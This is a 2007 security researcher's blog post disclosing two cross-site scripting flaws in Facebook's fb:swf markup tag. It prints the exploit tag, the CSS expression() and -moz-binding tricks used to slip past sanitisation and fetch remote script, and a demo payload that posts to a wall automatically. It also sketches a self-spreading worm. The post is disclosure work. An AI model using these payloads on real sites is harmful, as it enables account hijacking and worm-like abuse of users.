Facebook XSS
Wednesday, August 15, 2007
Facebook's new-fangled applications functionality seemed like a ripe opportunity for nasty cross-site scripting bugs. As it turns out, multiple XSS vulnerabilities were present in the fb:swf tag of the Facebook Markup Language.
FBML XSS Vulnerabilities
Given that Facebook seems to roll out tons of new functionality all the time without proper security testing and auditing, I was sure there had to be at least a few holes. I finally got the motivation to do some bug hunting while at USENIX Security, where I met a student, Adrienne Felt, from University of Virginia who was presenting at the poster session about an XSS vuln she had found in Facebook. As she wasn't releasing any specific technical details about the vulnerability since it was not yet patched, I found that motivation enough to head back to my hotel and hack on Facebook for the night to see if I could re-discover the hole she had found. In just a couple hours, I had discovered an XSS vulnerability, which I found out the next day was actually different that the one she had discovered.
The XSS vulnerabilities were present in the fb:swf functionality of the Facebook Markup Language. The Facebook Markup Language (FBML) is a set of custom defined tags that allow application developers to display various types of content to the users without allowing the execution of Javascript. The FBML tags are preprocessed by Facebook, converted to the appropriate html entities, and then output to the user. While most of the tags were filtered properly, several attributes of the fb:swf tag, which lets people embed flash swf's in their applications, were unsanitized. Two vulnerabilities were present in the fb:swf tag, one related to the imgstyle attribute (discovered by Adrienne) and the other related to the onmouseover attribute (discovered by yours truly).
Exploit Payload
I created a simple Facebook application to host the proof-of-concept code and demonstrate the vulnerability. The exploit originally used the onmouseover vulnerability but I switched it over to Adrienne's imgstyle attribute after Facebook patched my exploit vector.
Here is the exploit code:
<fb:swf imgsrc="http://jonojono.eecs.umich.edu/test.gif"
swfsrc="http://jonojono.eecs.umich.edu/test.swf" waitforclick="true"
imgstyle="background-color: expression(eval(unescape('ENCODED JS HERE')));
background-repeat: expression(this.style.background-color='');" />
In order to sneak the code past Facebook's sanitation filters and allow the attack to function against multiple browsers, a few tricks were needed:
For IE browsers, the CSS expression() function allows the execution of arbitrary Javascript. The Javascript payload needed to be encoded to allow for special characters and avoid the JS filters. At runtime, IE evaluates the expression function which will unescape the encoded javascript and pass it to eval() to execute it. In addition, as the expression() CSS function is continually evaluated, another dummy attribute (background-repeat) is added to reset the background-color attribute after the first execution to avoid executing the Javascript over and over.
For Mozilla browsers, the -moz-binding attribute can be used to fetch remote XBL content and execute embedded Javascript. for example, using the following:
style="-moz-binding: url(http;//jonojono.eecs.umich.edu/fb-xss.xml);"
will fetch and execute the remore content. Example contents of fb-xss.xml:
<bindings><binding id="exploit"><implementation><constructor>
/* insert javascript here */
</constructor></implementation></binding></bindings>
The example exploit I created delivered the following benign Javascript payload:
var form = document.getElementById('wall_post_form');
form.text.value = 'i heart jon o...and his automatic wall posts!';
ajax_wall_post(ge('wall_post_form'), ge('wall_posts'));
Very short and simple, thanks to Facebook's provided AJAX functions. In this proof-of-concept, as soon as someone visited my profile, it would automatically post to my wall with the included message. It was definitely interesting seeing how many random people visit your profile for no apparent reason every day.
XSS Worms
Besides simple, benign actions like automatically posting on a wall, much more malicious attacks are obviously possible. It is possible to perform any action a Facebook user would normally be able to perform, but in an automated and silent manner without their knowledge. Imagine a malicious application hosted on your profile that automatically added itself to anyone's profile who view their page. Then anyone viewing that victim's page would also be infected with the malicious application, resulting in a rapid worm-like spreading behavior.
It's only a matter of time before we see a similar XSS hole exploited on Facebook on a large-scale basis for malicious purposes similar to the Myspace phishing worm. Hopefully, in the future, Facebook will do a better job in auditing their new functionality for vulnerabilities to prevent such a scenario.